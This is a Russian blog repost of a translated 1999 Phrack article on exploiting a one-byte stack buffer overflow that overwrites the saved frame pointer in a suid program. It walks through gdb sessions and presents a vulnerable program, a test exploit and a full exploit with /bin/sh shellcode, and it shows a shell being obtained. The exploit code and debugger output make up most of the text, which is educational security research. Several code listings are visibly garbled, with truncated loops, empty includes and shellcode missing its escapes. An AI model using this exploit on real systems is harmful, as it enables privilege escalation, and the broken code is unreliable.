_Hacking_ обратиться по имени
Вторник, 16 Мая 2006 г. 23:10 (ссылка)
Перезапись указателя на окно памяти
--------------------------------------------------------------------------------
-------[ Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 08 of 19 ]
-------------------------[ Перезапись указателя на окно памяти ]
--------[ klog ]
----[ Введение
Если буферы могут быть переполнены, то путем перезаписи критических данных,
хранимых в адресном пространстве атакуемого процесса, мы можем изменить
порядок выполнения процесса. Это не новость. Эта статья не окажет большой
помощи в использовании переполнения буферов и не расскажет о самой уязвимости.
Она просто демонстрирует, что подобную уязвимость можно использовать даже в
таких сложных условиях, когда буфер может быть переполнен всего на один байт.
Во многих неприятных ситуациях существуют всякие тайные уловки где основной
целью является атака на доверяющий процесс, включая и такие, где сбрасываются
права доступа, но мы будем рассматривать только случаи переполнения с 1 байтом.
----[ Объект нашей атаки
Давайте напишем уязвимую программу с правами суперюзера, которую мы
назовем "suid". Она написана таким образом, что позволяет переполнение
буфера всего на 1 байт.
ipdev:~/tests$ cat > suid.c
#include
func(char *sm)
{
char buffer[256];
int i;
for(i=0;i: pushl %ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e : movl $0x0,0xfffffefc(%ebp)
0x8048148 : cmpl $0x100,0xfffffefc(%ebp)
0x8048152 : jle 0x8048158
0x8048154 : jmp 0x804817c
0x8048156 : leal (%esi),%esi
0x8048158 : leal 0xffffff00(%ebp),%edx
0x804815e : movl %edx,%eax
0x8048160 : addl 0xfffffefc(%ebp),%eax
0x8048166 : movl 0x8(%ebp),%edx
0x8048169 : addl 0xfffffefc(%ebp),%edx
0x804816f : movb (%edx),%cl
0x8048171 : movb %cl,(%eax)
0x8048173 : incl 0xfffffefc(%ebp)
0x8048179 : jmp 0x8048148
0x804817b : nop
0x804817c : movl %ebp,%esp
0x804817e : popl %ebp
0x804817f : ret
End of assembler dump.
(gdb)
Как мы все знаем, процессор сначала запихивает в стек %eip, как того требует
инструкция CALL. Затем, наша маленькая программка засовывает %ebp, что можно
увидеть в строке *0x8048134. Затем, создается локальное окно памяти путем
уменьшения %esp на 0x104. Это значит, что наши локальные переменные занимают
0x104 байта (0x100 занимает строка и 4 байта занимает целочисленная
переменная). Обратите внимание, что переменные физически выравниваются по 4
байта, т.е. буфер в 255 байт займет столько же места, что и буфер в 256
байт. Теперь мы можем сказать, как выглядит наш стек в момент переполнения
буфера:
сохраненный_eip
сохраненный_ebp
char buffer[255]
char buffer[254]
...
char buffer[000]
int i
Это означает, что переполняющий байт перезапишет сохраненный указатель окна
памяти, который был помещен в стек в начале func(). Но как можно использовать
этот байт, чтобы изменить последовательность выполнения программы? Давайте
взглянем на то, что происходит с образом %ebp. Мы уже знаем, что он
восстанавливается в конце func(), что можно увидеть в *0x804817e. Но что
дальше?
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl %ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl $0x8058ad8
0x804818e : call 0x80481b8
0x8048193 : addl $0x4,%esp
0x8048196 : pushl $0xffffffff
0x8048198 : call 0x804d598
0x804819d : addl $0x4,%esp
0x80481a0 : movl 0xc(%ebp),%eax
0x80481a3 : addl $0x4,%eax
0x80481a6 : movl (%eax),%edx
0x80481a8 : pushl %edx
0x80481a9 : call 0x8048134
0x80481ae : addl $0x4,%esp
0x80481b1 : movl %ebp,%esp
0x80481b3 : popl %ebp
0x80481b4 : ret
0x80481b5 : nop
0x80481b6 : nop
0x80481b7 : nop
End of assembler dump.
(gdb)
Великолепно! После вызова func() в конце main(), %ebp восстанавливается в
%esp, строка *0x80481b1. Это означает, что мы можем установить %esp. Это
означает, что мы можем установить %esp в произвольное значение. Но помните,
что значение не по-настоящему произвольное, вы можете изменить только
последний байт в %esp. Давайте проверим, правы ли мы.
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl %ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl $0x8058ad8
0x804818e : call 0x80481b8
0x8048193 : addl $0x4,%esp
0x8048196 : pushl $0xffffffff
0x8048198 : call 0x804d598
0x804819d : addl $0x4,%esp
0x80481a0 : movl 0xc(%ebp),%eax
0x80481a3 : addl $0x4,%eax
0x80481a6 : movl (%eax),%edx
0x80481a8 : pushl %edx
0x80481a9 : call 0x8048134
0x80481ae : addl $0x4,%esp
0x80481b1 : movl %ebp,%esp
0x80481b3 : popl %ebp
0x80481b4 : ret
0x80481b5 : nop
0x80481b6 : nop
0x80481b7 : nop
End of assembler dump.
(gdb) break *0x80481b4
Breakpoint 2 at 0x80481b4
(gdb) run `overflow 257`
Starting program: /home/klog/tests/suid `overflow 257`
Breakpoint 2, 0x80481b4 in main ()
(gdb) info register esp
esp 0xbffffd45 0xbffffd45
(gdb)
Да, похоже что мы правы. После переполнения буфера одной буквой 'A'
(0x41), %ebp перемещается в %esp, который увеличивается на 4, поскольку
%ebp извлекается из стека перед RET. Это дает нам 0xbffffd41 + 0x4 =
0xbffffd45.
----[ Подготовка.
Что нам дает изменение указателя стека? Мы не можем изменить сохраненное
значение %eip напрямую, но можем заставить процессор думать, что он находится
где-то в другом месте. Когда процессор возвращается из процедуры он просто
вынимает первое слово из стека, считая что это оригинальный %eip. Но если
мы меняем %esp, мы можем заставить процессор вынуть любое значение из стека
и считать, что это %eip, таким образом изменить последовательность выполнения.
Давайте спроектируем переполнение буфера используя следующую строку:
[пустые_операции][код][&код][%ebp_перезаписывающий_байт]
Для того, чтобы сделать это, нам сначала нужно определить, какое значение мы
хотим придать %ebp (и посредством этого %esp). Давайте взглянем на что будет
похож стек, когда произойдет переполнение буфера:
сохраненный_eip
сохраненный_ebp (с 1 измененным байтом)
&код
код | char буфер
пустые операции /
int i
Теперь, мы хотим чтобы %esp указывал на &код, чтобы адрес кода был вынут в
%eip когда процессор вернется из main(). Теперь, когда мы мы знаем, как мы
хотим атаковать нашу уязвимую программу нам нужно извлечь информацию из процесса
во время работы в ситуации переполненного буфера и адрес указателя на наш
код (&код). Давайте выполним программу так, как если бы мы хотели переполнить
ее строкой из 257 символов. Чтобы сделать это мы должны написать фальшивый
эксплоит который воспроизведет ситуацию в которой мы атакуем уязвимый процесс.
(gdb) q
ipdev:~/tests$ cat > fake_exp.c
#include
#include
main()
{
int i;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i: pushl %ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e : movl $0x0,0xfffffefc(%ebp)
0x8048148 : cmpl $0x100,0xfffffefc(%ebp)
0x8048152 : jle 0x8048158
0x8048154 : jmp 0x804817c
0x8048156 : leal (%esi),%esi
0x8048158 : leal 0xffffff00(%ebp),%edx
0x804815e : movl %edx,%eax
0x8048160 : addl 0xfffffefc(%ebp),%eax
0x8048166 : movl 0x8(%ebp),%edx
0x8048169 : addl 0xfffffefc(%ebp),%edx
0x804816f : movb (%edx),%cl
0x8048171 : movb %cl,(%eax)
0x8048173 : incl 0xfffffefc(%ebp)
0x8048179 : jmp 0x8048148
0x804817b : nop
0x804817c : movl %ebp,%esp
0x804817e : popl %ebp
0x804817f : ret
End of assembler dump.
(gdb) break *0x804813d
Breakpoint 1 at 0x804813d
(gdb) c
Continuing.
Breakpoint 1, 0x804813d in func ()
(gdb) info register esp
esp 0xbffffc60 0xbffffc60
(gdb)
Есть. Теперь у нас есть значение %esp сразу после создания окна памяти. С
помощью этого значения мы теперь можем предположит, что наш буфер будет
расположен по адресу 0xbffffc60 + 0x04 (размер 'int i') = 0xbffffc64, и что
указатель на наш код будет располагаться по адресу 0xbffffc64 + 0x100 (размер
'char buffer[256]') - 0x04 (размер нашего указателя) = 0xbffffd60.
----[ Время начать атаку
Наличие этих значений позволит нам написать полную версию эксплоита, включая
сам код, указатель на код и перезаписывающий байт. Значение, которым нам надо
переписать последний байт сохраненного %ebp будет 0x60 - 0x04 = 0x5c,
поскольку, как вы должны помнить, мы вынимаем %ebp сразу перед возвращением
из main(). Эти четыре байта компенсируют то, что %ebp удаляется из стека.
Что касается указателя на наш код, то на самом деле нам не нужно, чтобы он
указывал на точный адрес. Все, что нам надо,это чтобы процессор вернулся в
середину пустых операций (noops) между началом переполняемого буфера
(0xbffffc64) и нашим кодом (0xbffffc64 - sizeof(код)), как и в обычном
переполнении буфера. Давайте будем использовать 0xbffffc74.
ipdev:~/tests$ cat > exp.c
#include
#include
char sc_linux[] =
"xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07"
"x89x56x0fxb8x1bx56x34x12x35x10x56x34x12"
"x8dx4ex0bx8bxd1xcdx80x33xc0x40xcdx80xe8"
"xd7xffxffxff/bin/sh";
main()
{
int i, j;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i: pushl %ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e : movl $0x0,0xfffffefc(%ebp)
0x8048148 : cmpl $0x100,0xfffffefc(%ebp)
0x8048152 : jle 0x8048158
0x8048154 : jmp 0x804817c
0x8048156 : leal (%esi),%esi
0x8048158 : leal 0xffffff00(%ebp),%edx
0x804815e : movl %edx,%eax
0x8048160 : addl 0xfffffefc(%ebp),%eax
0x8048166 : movl 0x8(%ebp),%edx
0x8048169 : addl 0xfffffefc(%ebp),%edx
0x804816f : movb (%edx),%cl
0x8048171 : movb %cl,(%eax)
0x8048173 : incl 0xfffffefc(%ebp)
0x8048179 : jmp 0x8048148
0x804817b : nop
0x804817c : movl %ebp,%esp
0x804817e : popl %ebp
0x804817f : ret
End of assembler dump.
(gdb) break *0x804817e
Breakpoint 1 at 0x804817e
(gdb) break *0x804817f
Breakpoint 2 at 0x804817f
(gdb)
Таким образом первые точки останова позволит нам просмотреть содержимое %ebp
до и после извлечения из стека. Эти значения соответствуют оригинальному и
переписанному значениям.
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl %ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl $0x8058ad8
0x804818e : call 0x80481b8
0x8048193 : addl $0x4,%esp
0x8048196 : pushl $0xffffffff
0x8048198 : call 0x804d598
0x804819d : addl $0x4,%esp
0x80481a0 : movl 0xc(%ebp),%eax
0x80481a3 : addl $0x4,%eax
0x80481a6 : movl (%eax),%edx
0x80481a8 : pushl %edx
0x80481a9 : call 0x8048134
0x80481ae : addl $0x4,%esp
0x80481b1 : movl %ebp,%esp
0x80481b3 : popl %ebp
0x80481b4 : ret
0x80481b5 : nop
0x80481b6 : nop
0x80481b7 : nop
End of assembler dump.
(gdb) break *0x80481b3
Breakpoint 3 at 0x80481b3
(gdb) break *0x80481b4
Breakpoint 4 at 0x80481b4
(gdb)
Здесь мы хотим отследить перемещение нашего перезаписанного %ebp в %esp и
содержимое %esp до возвращения из main(). Давайте выполним программу.
(gdb) c
Continuing.
Breakpoint 1, 0x804817e in func ()
(gdb) info reg ebp
ebp 0xbffffd64 0xbffffd64
(gdb) c
Continuing.
Breakpoint 2, 0x804817f in func ()
(gdb) info reg ebp
ebp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
Breakpoint 3, 0x80481b3 in main ()
(gdb) info reg esp
esp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
Breakpoint 4, 0x80481b4 in main ()
(gdb) info reg esp
esp 0xbffffd60 0xbffffd60
(gdb)
Во-первых мы просматриваем настоящее значение %ebp. После извлечения из
стека, мы можем увидеть, как оно заменяется значением, которое было
перезаписано последним байтом нашей переполняющей строки, 0x5c. После
этого, %ebp переписано в %esp, и, в конечном итоге после того, как %ebp
извлекается вновь из стека, %esp увеличивается на 4 байта. Это дает
окончательное значение 0xbffffd60. Давайте взглянем, как все происходит.
(gdb) x 0xbffffd60
0xbffffd60 : 0xbffffc74
(gdb) x/10 0xbffffc74
0xbffffc74 : 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc84 : 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc94 : 0x90909090
0x90909090
(gdb)
Мы видим, что 0xbffffd60 это настоящий адрес указателя, указывающего в
середину пустых операций непосредственно перед нашим кодом. Когда процессор
будет возвращаться из main(), он извлечет этот указатель в %eip b перейдет
по точному адресу 0xbffffc74. Вот тогда и начнется выполнение нашего кода.
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000990 in ?? ()
(gdb) c
Continuing.
bash$
----[ Выводы
Несмотря на то, что способ неплох, некоторые проблемы остаются неразрешенными.
Изменение выполнения программы с помощью всего одного байта перезаписываемых
данных несомненно является возможным, но при каких условиях? По сути дела,
воспроизведение ситуации атаки может быть сложной задачей в чужеродном
окружении или, хуже того, на удаленном компьютере. Это может потребовать от
нас угадать точный размер стека атакуемого процесса. Плюс к этому, добавьте
необходимость того, что переполняемый буфер должен следовать непосредственно
сразу за указателем на окно памяти, да и выравнивание по 32-битной границе
так же необходимо учитывать. Что же насчет атак больших защищенных архитектур?
Мы не сможем переписать сколь либо важный байт информации, если только у нас
нет возможности достичь этого адреса...
Можно сделать выводы, что это почти невозможная для атаки ситуация. Не смотря
на то, что я буду чрезвычайно удивлен, услышав, что кому-либо удалось применить
этот метод к реальной уязвимости, он, конечно, доказывает нам, что нет таких
вещей, как большая или маленькая уязвимость. Любое переполнение уязвимо, все
что нужно - это найти как именно.
Спасибо: binf, rfp, halflife, route
----[ EOF